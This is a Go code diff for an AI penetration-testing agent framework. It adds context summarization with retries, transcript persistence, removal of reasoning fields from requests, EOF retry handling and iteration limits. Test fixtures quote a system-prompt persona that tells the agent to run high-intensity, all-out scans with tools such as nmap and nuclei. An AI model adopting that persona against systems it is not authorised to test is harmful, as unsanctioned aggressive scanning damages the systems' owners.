|
||||||
|
return stripReasoningFromSummarizationPayload(rawBody)
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
|
||||||
mw, err := summarization.New(ctx, &summarization.Config{
|
mw, err := summarization.New(ctx, &summarization.Config{
|
||||||
Model: summaryModel,
|
Model: summaryModel,
|
||||||
|
ModelOptions: summaryModelOpts,
|
||||||
Trigger: &summarization.TriggerCondition{
|
Trigger: &summarization.TriggerCondition{
|
||||||
ContextTokens: trigger,
|
ContextTokens: trigger,
|
||||||
},
|
},
|
||||||
@@ -102,24 +130,43 @@ func newEinoSummarizationMiddleware(
|
|||||||
Enabled: true,
|
Enabled: true,
|
||||||
MaxTokens: preserveMax,
|
MaxTokens: preserveMax,
|
||||||
},
|
},
|
||||||
|
Retry: &summarization.RetryConfig{
|
||||||
|
MaxRetries: &retryMax,
|
||||||
|
ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
|
||||||
|
if err != nil && logger != nil {
|
||||||
|
logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
|
||||||
|
zap.Error(err),
|
||||||
|
zap.Int("max_retries", retryMax),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return err != nil
|
||||||
|
},
|
||||||
|
},
|
||||||
Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
|
Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
|
||||||
return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
|
return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
|
||||||
},
|
},
|
||||||
Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
|
Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
|
||||||
if logger == nil {
|
if transcriptPath != "" && len(before.Messages) > 0 {
|
||||||
return nil
|
if werr := writeSummarizationTranscript(transcriptPath, before.Messages); werr != nil && logger != nil {
|
||||||
|
logger.Warn("eino summarization transcript 写入失败",
|
||||||
|
zap.String("path", transcriptPath),
|
||||||
|
zap.Error(werr),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if logger != nil {
|
||||||
|
beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
|
||||||
|
afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
|
||||||
|
logger.Info("eino summarization 已压缩上下文",
|
||||||
|
zap.Int("messages_before", len(before.Messages)),
|
||||||
|
zap.Int("messages_after", len(after.Messages)),
|
||||||
|
zap.Int("tokens_before_estimated", beforeTokens),
|
||||||
|
zap.Int("tokens_after_estimated", afterTokens),
|
||||||
|
zap.Int("max_total_tokens", maxTotal),
|
||||||
|
zap.Int("trigger_context_tokens", trigger),
|
||||||
|
zap.String("transcript_file", transcriptPath),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
|
|
||||||
afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
|
|
||||||
logger.Info("eino summarization 已压缩上下文",
|
|
||||||
zap.Int("messages_before", len(before.Messages)),
|
|
||||||
zap.Int("messages_after", len(after.Messages)),
|
|
||||||
zap.Int("tokens_before_estimated", beforeTokens),
|
|
||||||
zap.Int("tokens_after_estimated", afterTokens),
|
|
||||||
zap.Int("max_total_tokens", maxTotal),
|
|
||||||
zap.Int("trigger_context_tokens", trigger),
|
|
||||||
zap.String("transcript_file", transcriptPath),
|
|
||||||
)
|
|
||||||
return nil
|
return nil
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
@@ -295,6 +342,23 @@ func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
|
|||||||
return rounds
|
return rounds
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// writeSummarizationTranscript persists pre-compaction history for read_file after summarization.
|
||||||
|
// Eino TranscriptFilePath only embeds the path in summary text; the file must be written by the host app.
|
||||||
|
func writeSummarizationTranscript(path string, msgs []adk.Message) error {
|
||||||
|
path = strings.TrimSpace(path)
|
||||||
|
if path == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
body := formatSummarizationTranscript(msgs)
|
||||||
|
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||||
|
return fmt.Errorf("mkdir transcript dir: %w", err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
|
||||||
|
return fmt.Errorf("write transcript: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
|
func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
|
||||||
tc := agent.NewTikTokenCounter()
|
tc := agent.NewTikTokenCounter()
|
||||||
return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
|
return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
|
||||||
|
|||||||
@@ -0,0 +1,35 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/bytedance/sonic"
|
||||||
|
)
|
||||||
|
|
||||||
|
// stripReasoningFromSummarizationPayload removes thinking / reasoning fields from a
|
||||||
|
// chat-completions JSON body. Applied only to summarization Generate calls via
|
||||||
|
// model.ModelOptions on the shared ChatModel — main-agent requests are unchanged.
|
||||||
|
func stripReasoningFromSummarizationPayload(rawBody []byte) ([]byte, error) {
|
||||||
|
var payload map[string]any
|
||||||
|
if err := sonic.Unmarshal(rawBody, &payload); err != nil {
|
||||||
|
return rawBody, nil
|
||||||
|
}
|
||||||
|
changed := false
|
||||||
|
for _, key := range []string{
|
||||||
|
"thinking",
|
||||||
|
"reasoning_effort",
|
||||||
|
"output_config",
|
||||||
|
"reasoning",
|
||||||
|
} {
|
||||||
|
if _, ok := payload[key]; ok {
|
||||||
|
delete(payload, key)
|
||||||
|
changed = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !changed {
|
||||||
|
return rawBody, nil
|
||||||
|
}
|
||||||
|
out, err := sonic.Marshal(payload)
|
||||||
|
if err != nil {
|
||||||
|
return rawBody, err
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestStripReasoningFromSummarizationPayload(t *testing.T) {
|
||||||
|
in := []byte(`{"model":"deepseek-chat","messages":[],"thinking":{"type":"enabled"},"reasoning_effort":"high"}`)
|
||||||
|
out, err := stripReasoningFromSummarizationPayload(in)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
s := string(out)
|
||||||
|
if strings.Contains(s, "thinking") || strings.Contains(s, "reasoning_effort") {
|
||||||
|
t.Fatalf("expected reasoning fields stripped, got %s", s)
|
||||||
|
}
|
||||||
|
if !strings.Contains(s, `"model":"deepseek-chat"`) {
|
||||||
|
t.Fatalf("expected model preserved, got %s", s)
|
||||||
|
}
|
||||||
|
|
||||||
|
plain := []byte(`{"model":"gpt-4o","messages":[]}`)
|
||||||
|
out2, err := stripReasoningFromSummarizationPayload(plain)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if string(out2) != string(plain) {
|
||||||
|
t.Fatalf("expected unchanged payload, got %s", out2)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,6 +2,9 @@ package multiagent
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"github.com/cloudwego/eino/adk"
|
"github.com/cloudwego/eino/adk"
|
||||||
@@ -343,3 +346,91 @@ func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestWriteSummarizationTranscript(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "summarization", "transcript.txt")
|
||||||
|
msgs := []adk.Message{
|
||||||
|
schema.UserMessage("scan target"),
|
||||||
|
assistantToolCallsMsg("", "tc1"),
|
||||||
|
schema.ToolMessage("nmap output", "tc1"),
|
||||||
|
}
|
||||||
|
if err := writeSummarizationTranscript(path, msgs); err != nil {
|
||||||
|
t.Fatalf("writeSummarizationTranscript: %v", err)
|
||||||
|
}
|
||||||
|
body, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read transcript: %v", err)
|
||||||
|
}
|
||||||
|
text := string(body)
|
||||||
|
if !strings.Contains(text, "Pre-compaction session record") {
|
||||||
|
t.Fatalf("missing transcript header: %q", text)
|
||||||
|
}
|
||||||
|
if !strings.Contains(text, "[user]") || !strings.Contains(text, "scan target") {
|
||||||
|
t.Fatalf("missing user section: %q", text)
|
||||||
|
}
|
||||||
|
if !strings.Contains(text, "tool_calls:") || !strings.Contains(text, "nmap output") {
|
||||||
|
t.Fatalf("missing tool round: %q", text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
system := strings.Join([]string{
|
||||||
|
"以下是当前会话绑定的工具名称索引(仅名称,无参数 JSON Schema)。",
|
||||||
|
"- nmap",
|
||||||
|
"- nuclei",
|
||||||
|
"",
|
||||||
|
"使用规则:",
|
||||||
|
"1) 上表仅为名称索引",
|
||||||
|
"5) 不要臆造不存在的工具名。",
|
||||||
|
"",
|
||||||
|
"你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。",
|
||||||
|
"高强度扫描要求:全力出击",
|
||||||
|
"",
|
||||||
|
"## 项目黑板索引(project: 123, id: abc)",
|
||||||
|
"(暂无事实)",
|
||||||
|
"需要写入请使用 upsert_project_fact。",
|
||||||
|
"",
|
||||||
|
"# Skills System",
|
||||||
|
"**How to Use Skills**",
|
||||||
|
"Remember: Skills make you more capable",
|
||||||
|
}, "\n")
|
||||||
|
|
||||||
|
out := sanitizeSystemContentForTranscript(system)
|
||||||
|
if strings.Contains(out, "以下是当前会话绑定的工具名称索引") {
|
||||||
|
t.Fatalf("tool index should be stripped: %q", out)
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "- nmap") || strings.Contains(out, "高强度扫描要求") {
|
||||||
|
t.Fatalf("static persona should be stripped: %q", out)
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "# Skills System") || strings.Contains(out, "How to Use Skills") {
|
||||||
|
t.Fatalf("skills boilerplate should be stripped: %q", out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, transcriptStaticSystemOmitNote) {
|
||||||
|
t.Fatalf("missing omission note: %q", out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "## 项目黑板索引(project: 123, id: abc)") {
|
||||||
|
t.Fatalf("project blackboard should be kept: %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
msgs := []adk.Message{
|
||||||
|
schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n## 项目黑板索引(project: p1, id: x)\n(暂无事实)\n# Skills System\nboiler"),
|
||||||
|
schema.UserMessage("hello"),
|
||||||
|
schema.AssistantMessage("reply", nil),
|
||||||
|
}
|
||||||
|
out := formatSummarizationTranscript(msgs)
|
||||||
|
if strings.Contains(out, "- nmap") {
|
||||||
|
t.Fatalf("tool list leaked into transcript: %q", out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "hello") || !strings.Contains(out, "reply") {
|
||||||
|
t.Fatalf("conversation turns missing: %q", out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "## 项目黑板索引(project: p1, id: x)") {
|
||||||
|
t.Fatalf("dynamic blackboard missing: %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,145 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/cloudwego/eino/adk"
|
||||||
|
"github.com/cloudwego/eino/schema"
|
||||||
|
|
||||||
|
"github.com/bytedance/sonic"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
transcriptFileHeader = `# CyberStrikeAI summarization transcript
|
||||||
|
# Pre-compaction session record for read_file after context compression.
|
||||||
|
# Omits static system/tool-index/skills boilerplate; full user/assistant/tool turns below.
|
||||||
|
|
||||||
|
`
|
||||||
|
transcriptStaticSystemOmitNote = "[static system prompt omitted — unchanged in live context after compaction]"
|
||||||
|
transcriptToolIndexStartMarker = "以下是当前会话绑定的工具名称索引"
|
||||||
|
transcriptPersonaStartMarker = "你是CyberStrikeAI"
|
||||||
|
transcriptSkillsSystemMarker = "# Skills System"
|
||||||
|
transcriptProjectBlackboardMarker = "## 项目黑板索引"
|
||||||
|
)
|
||||||
|
|
||||||
|
// formatSummarizationTranscript renders pre-compaction messages for transcript.txt.
|
||||||
|
// Best practice: keep full user/assistant/tool turns; slim system to dynamic blocks only.
|
||||||
|
func formatSummarizationTranscript(msgs []adk.Message) string {
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString(transcriptFileHeader)
|
||||||
|
wrote := false
|
||||||
|
for _, msg := range msgs {
|
||||||
|
if msg == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
switch msg.Role {
|
||||||
|
case schema.System:
|
||||||
|
body := sanitizeSystemContentForTranscript(msg.Content)
|
||||||
|
if strings.TrimSpace(body) == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if wrote {
|
||||||
|
sb.WriteString("\n")
|
||||||
|
}
|
||||||
|
appendTranscriptSection(&sb, schema.System, body)
|
||||||
|
wrote = true
|
||||||
|
default:
|
||||||
|
if wrote {
|
||||||
|
sb.WriteString("\n")
|
||||||
|
}
|
||||||
|
appendTranscriptMessage(&sb, msg)
|
||||||
|
wrote = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeSystemContentForTranscript(content string) string {
|
||||||
|
content = stripToolNamesIndexFromSystem(content)
|
||||||
|
content = stripSkillsSystemBoilerplate(content)
|
||||||
|
blackboard := extractProjectBlackboardSection(content)
|
||||||
|
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString(transcriptStaticSystemOmitNote)
|
||||||
|
if bb := strings.TrimSpace(blackboard); bb != "" {
|
||||||
|
sb.WriteString("\n\n")
|
||||||
|
sb.WriteString(bb)
|
||||||
|
}
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func stripToolNamesIndexFromSystem(s string) string {
|
||||||
|
if !strings.Contains(s, transcriptToolIndexStartMarker) {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
idx := strings.Index(s, transcriptPersonaStartMarker)
|
||||||
|
if idx < 0 {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(s[idx:])
|
||||||
|
}
|
||||||
|
|
||||||
|
func stripSkillsSystemBoilerplate(s string) string {
|
||||||
|
idx := strings.Index(s, transcriptSkillsSystemMarker)
|
||||||
|
if idx < 0 {
|
||||||
|
return strings.TrimSpace(s)
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(s[:idx])
|
||||||
|
}
|
||||||
|
|
||||||
|
func extractProjectBlackboardSection(s string) string {
|
||||||
|
idx := strings.Index(s, transcriptProjectBlackboardMarker)
|
||||||
|
if idx < 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(s[idx:])
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) {
|
||||||
|
sb.WriteString("--- [")
|
||||||
|
sb.WriteString(string(role))
|
||||||
|
sb.WriteString("] ---\n")
|
||||||
|
sb.WriteString(body)
|
||||||
|
if !strings.HasSuffix(body, "\n") {
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendTranscriptMessage(sb *strings.Builder, msg adk.Message) {
|
||||||
|
sb.WriteString("--- [")
|
||||||
|
sb.WriteString(string(msg.Role))
|
||||||
|
sb.WriteString("] ---\n")
|
||||||
|
if msg.Content != "" {
|
||||||
|
sb.WriteString(msg.Content)
|
||||||
|
if !strings.HasSuffix(msg.Content, "\n") {
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if msg.ReasoningContent != "" {
|
||||||
|
sb.WriteString("[reasoning]\n")
|
||||||
|
sb.WriteString(msg.ReasoningContent)
|
||||||
|
if !strings.HasSuffix(msg.ReasoningContent, "\n") {
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, part := range msg.UserInputMultiContent {
|
||||||
|
if part.Type == schema.ChatMessagePartTypeText && strings.TrimSpace(part.Text) != "" {
|
||||||
|
sb.WriteString(part.Text)
|
||||||
|
if !strings.HasSuffix(part.Text, "\n") {
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(msg.ToolCalls) > 0 {
|
||||||
|
if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
|
||||||
|
sb.WriteString("tool_calls: ")
|
||||||
|
sb.Write(b)
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if msg.ToolCallID != "" {
|
||||||
|
sb.WriteString("tool_call_id: ")
|
||||||
|
sb.WriteString(msg.ToolCallID)
|
||||||
|
sb.WriteByte('\n')
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,7 +3,6 @@ package multiagent
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"io"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -24,10 +23,6 @@ func isEinoTransientRunError(err error) bool {
|
|||||||
if err == nil {
|
if err == nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
// io.EOF 常见于流式正常收尾,不应触发分段重试。
|
|
||||||
if errors.Is(err, io.EOF) {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -66,6 +61,7 @@ func isEinoTransientRunError(err error) bool {
|
|||||||
"tls handshake timeout",
|
"tls handshake timeout",
|
||||||
"stream error",
|
"stream error",
|
||||||
"unexpected eof",
|
"unexpected eof",
|
||||||
|
`": eof`, // net/http: Post "url": EOF (often wraps io.EOF)
|
||||||
"unexpected end of json",
|
"unexpected end of json",
|
||||||
"status code: 406",
|
"status code: 406",
|
||||||
"status code: 502",
|
"status code: 502",
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package multiagent
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -21,6 +22,8 @@ func TestIsEinoTransientRunError(t *testing.T) {
|
|||||||
{"nil", nil, false},
|
{"nil", nil, false},
|
||||||
{"io eof", io.EOF, false},
|
{"io eof", io.EOF, false},
|
||||||
{"plain eof text", errors.New("EOF"), false},
|
{"plain eof text", errors.New("EOF"), false},
|
||||||
|
{"post chat completions eof", errors.New(`Post "https://token-plan-cn.xiaomimimo.com/v1/chat/completions": EOF`), true},
|
||||||
|
{"post eof wraps io.EOF", fmt.Errorf(`Post %q: %w`, "https://token-plan-cn.xiaomimimo.com/v1/chat/completions", io.EOF), true},
|
||||||
{"429", errors.New("HTTP 429 Too Many Requests"), true},
|
{"429", errors.New("HTTP 429 Too Many Requests"), true},
|
||||||
{"rate limit", errors.New(`{"error":"rate limit exceeded"}`), true},
|
{"rate limit", errors.New(`{"error":"rate limit exceeded"}`), true},
|
||||||
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
|
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
const defaultAgentMaxIterations = 3000
|
||||||
|
|
||||||
|
// agentMaxIterations 全局上限:仅使用 config.agent.max_iterations;≤0 时与 config 默认一致为 3000。
|
||||||
|
func agentMaxIterations(appCfg *config.Config) int {
|
||||||
|
if appCfg != nil && appCfg.Agent.MaxIterations > 0 {
|
||||||
|
return appCfg.Agent.MaxIterations
|
||||||
|
}
|
||||||
|
return defaultAgentMaxIterations
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveMaxIterations 统一迭代上限:Markdown/子代理 front matter 中 max_iterations>0 可单独覆盖,否则使用 agent.max_iterations。
|
||||||
|
// multi_agent.max_iteration 与 sub_agent_max_iterations 已废弃,不再参与计算。
|
||||||
|
func resolveMaxIterations(appCfg *config.Config, markdownOverride int) int {
|
||||||
|
if markdownOverride > 0 {
|
||||||
|
return markdownOverride
|
||||||
|
}
|
||||||
|
return agentMaxIterations(appCfg)
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAgentMaxIterations(t *testing.T) {
|
||||||
|
if got := agentMaxIterations(nil); got != defaultAgentMaxIterations {
|
||||||
|
t.Fatalf("nil cfg: got %d want %d", got, defaultAgentMaxIterations)
|
||||||
|
}
|
||||||
|
cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
|
||||||
|
if got := agentMaxIterations(cfg); got != 12000 {
|
||||||
|
t.Fatalf("got %d want 12000", got)
|
||||||
|
}
|
||||||
|
cfg.Agent.MaxIterations = 0
|
||||||
|
if got := agentMaxIterations(cfg); got != defaultAgentMaxIterations {
|
||||||
|
t.Fatalf("zero: got %d want %d", got, defaultAgentMaxIterations)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveMaxIterations(t *testing.T) {
|
||||||
|
cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
|
||||||
|
if got := resolveMaxIterations(cfg, 0); got != 12000 {
|
||||||
|
t.Fatalf("global: got %d want 12000", got)
|
||||||
|
}
|
||||||
|
if got := resolveMaxIterations(cfg, 50); got != 50 {
|
||||||
|
t.Fatalf("override: got %d want 50", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
localbk "github.com/cloudwego/eino-ext/adk/backend/local"
|
||||||
|
"github.com/cloudwego/eino/adk/middlewares/plantask"
|
||||||
|
)
|
||||||
|
|
||||||
|
// localPlantaskBackend adapts eino-ext local filesystem backend for Eino plantask.
|
||||||
|
//
|
||||||
|
// plantask TaskCreate/TaskList list a directory via LsInfo, then Read using each entry's Path.
|
||||||
|
// local.LsInfo returns basenames only (e.g. ".highwatermark"), while local.Read expects a
|
||||||
|
// resolvable path — causing "file not found: .highwatermark" on the second TaskCreate.
|
||||||
|
type localPlantaskBackend struct {
|
||||||
|
*localbk.Local
|
||||||
|
}
|
||||||
|
|
||||||
|
func newLocalPlantaskBackend(loc *localbk.Local) *localPlantaskBackend {
|
||||||
|
if loc == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &localPlantaskBackend{Local: loc}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LsInfo lists files under req.Path and returns absolute paths suitable for subsequent Read calls.
|
||||||
|
func (l *localPlantaskBackend) LsInfo(ctx context.Context, req *plantask.LsInfoRequest) ([]plantask.FileInfo, error) {
|
||||||
|
if l == nil || l.Local == nil {
|
||||||
|
return nil, fmt.Errorf("plantask backend: local nil")
|
||||||
|
}
|
||||||
|
if req == nil || strings.TrimSpace(req.Path) == "" {
|
||||||
|
return nil, fmt.Errorf("plantask backend: list path empty")
|
||||||
|
}
|
||||||
|
files, err := l.Local.LsInfo(ctx, req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(files) == 0 {
|
||||||
|
return files, nil
|
||||||
|
}
|
||||||
|
base := filepath.Clean(req.Path)
|
||||||
|
out := make([]plantask.FileInfo, len(files))
|
||||||
|
for i, f := range files {
|
||||||
|
out[i] = f
|
||||||
|
name := strings.TrimSpace(f.Path)
|
||||||
|
if name == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if filepath.IsAbs(name) {
|
||||||
|
out[i].Path = filepath.Clean(name)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out[i].Path = filepath.Join(base, name)
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
|
||||||
|
if l == nil || l.Local == nil || req == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
p := strings.TrimSpace(req.FilePath)
|
||||||
|
if p == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return os.Remove(p)
|
||||||
|
}
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
localbk "github.com/cloudwego/eino-ext/adk/backend/local"
|
||||||
|
"github.com/cloudwego/eino/adk/filesystem"
|
||||||
|
"github.com/cloudwego/eino/adk/middlewares/plantask"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestLocalPlantaskBackendLsInfoReturnsFullPaths(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
ctx := context.Background()
|
||||||
|
baseDir := t.TempDir()
|
||||||
|
|
||||||
|
loc, err := localbk.NewBackend(ctx, &localbk.Config{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewBackend: %v", err)
|
||||||
|
}
|
||||||
|
be := newLocalPlantaskBackend(loc)
|
||||||
|
|
||||||
|
hwPath := filepath.Join(baseDir, ".highwatermark")
|
||||||
|
if err := os.WriteFile(hwPath, []byte("1"), 0o600); err != nil {
|
||||||
|
t.Fatalf("write highwatermark: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LsInfo: %v", err)
|
||||||
|
}
|
||||||
|
if len(files) != 1 {
|
||||||
|
t.Fatalf("expected 1 file, got %d", len(files))
|
||||||
|
}
|
||||||
|
if files[0].Path != hwPath {
|
||||||
|
t.Fatalf("expected full path %q, got %q", hwPath, files[0].Path)
|
||||||
|
}
|
||||||
|
|
||||||
|
content, err := be.Read(ctx, &plantask.ReadRequest{FilePath: files[0].Path})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Read via LsInfo path: %v", err)
|
||||||
|
}
|
||||||
|
if content.Content != "1" {
|
||||||
|
t.Fatalf("unexpected content: %q", content.Content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLocalPlantaskBackendSecondTaskCreateScenario(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
ctx := context.Background()
|
||||||
|
baseDir := t.TempDir()
|
||||||
|
|
||||||
|
loc, err := localbk.NewBackend(ctx, &localbk.Config{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewBackend: %v", err)
|
||||||
|
}
|
||||||
|
be := newLocalPlantaskBackend(loc)
|
||||||
|
|
||||||
|
hwPath := filepath.Join(baseDir, ".highwatermark")
|
||||||
|
if err := loc.Write(ctx, &filesystem.WriteRequest{FilePath: hwPath, Content: "1"}); err != nil {
|
||||||
|
t.Fatalf("seed highwatermark: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LsInfo: %v", err)
|
||||||
|
}
|
||||||
|
var hwFile string
|
||||||
|
for _, f := range files {
|
||||||
|
if filepath.Base(f.Path) == ".highwatermark" {
|
||||||
|
hwFile = f.Path
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if hwFile == "" {
|
||||||
|
t.Fatal("highwatermark not listed")
|
||||||
|
}
|
||||||
|
if _, err := be.Read(ctx, &plantask.ReadRequest{FilePath: hwFile}); err != nil {
|
||||||
|
t.Fatalf("Read highwatermark (second TaskCreate path): %v", err)
|
||||||
|
}
|
||||||
|
